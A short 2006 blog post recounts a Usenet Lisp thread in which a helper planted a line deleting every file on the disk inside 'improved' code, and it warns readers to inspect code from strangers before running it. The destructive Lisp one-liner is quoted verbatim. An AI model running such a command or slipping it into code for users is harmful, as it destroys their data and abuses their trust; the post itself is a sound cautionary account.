Think Twice Before Pressing Enter

Lipanj 14, 2006

I just ran into this while surfing around on Reddit, ironically titled "Why is Lisp unpopular? Maybe it's a "community" like this." It's an article from a Usenet discussion on comp.lang.lisp newsgroup.

In short, the guy (BobF) asks a question about clearing the Lisp environment without restarting. He gets an answer from Pascal with an error in it, so BobF posts the info about the error. Then, Pascal sends an "improved" version of the code, including a line which would delete the whole hard drive ((mapcar (lambda (x) (ignore-errors (delete-file x))) (directory "/**/*.*"))). Of course, Pascal's intensions were actually noble and caring, because he just wanted to learn the poor guy to read and understand the code he is presented to. Right. It seems he fixed the error in the second version, though.

Now, think twice before copy/pasting some code from an unknown person off the 'net. Or at least grep it for "rm" and "del" before running it :).

Posted under "Education" intentionally ;-).

3 Odgovora to “Think Twice Before Pressing Enter”


Odgovori

Popunite niže tražene podatke ili kliknite na neku od ikona za prijavu:

WordPress.com Logo

Ovaj komentar pišete koristeći vaš WordPress.com račun. Odjava / Izmijeni )

Twitter picture

Ovaj komentar pišete koristeći vaš Twitter račun. Odjava / Izmijeni )

Facebook slika

Ovaj komentar pišete koristeći vaš Facebook račun. Odjava / Izmijeni )

Google+ photo

Ovaj komentar pišete koristeći vaš Google+ račun. Odjava / Izmijeni )

Spajanje na %s

%d bloggers like this: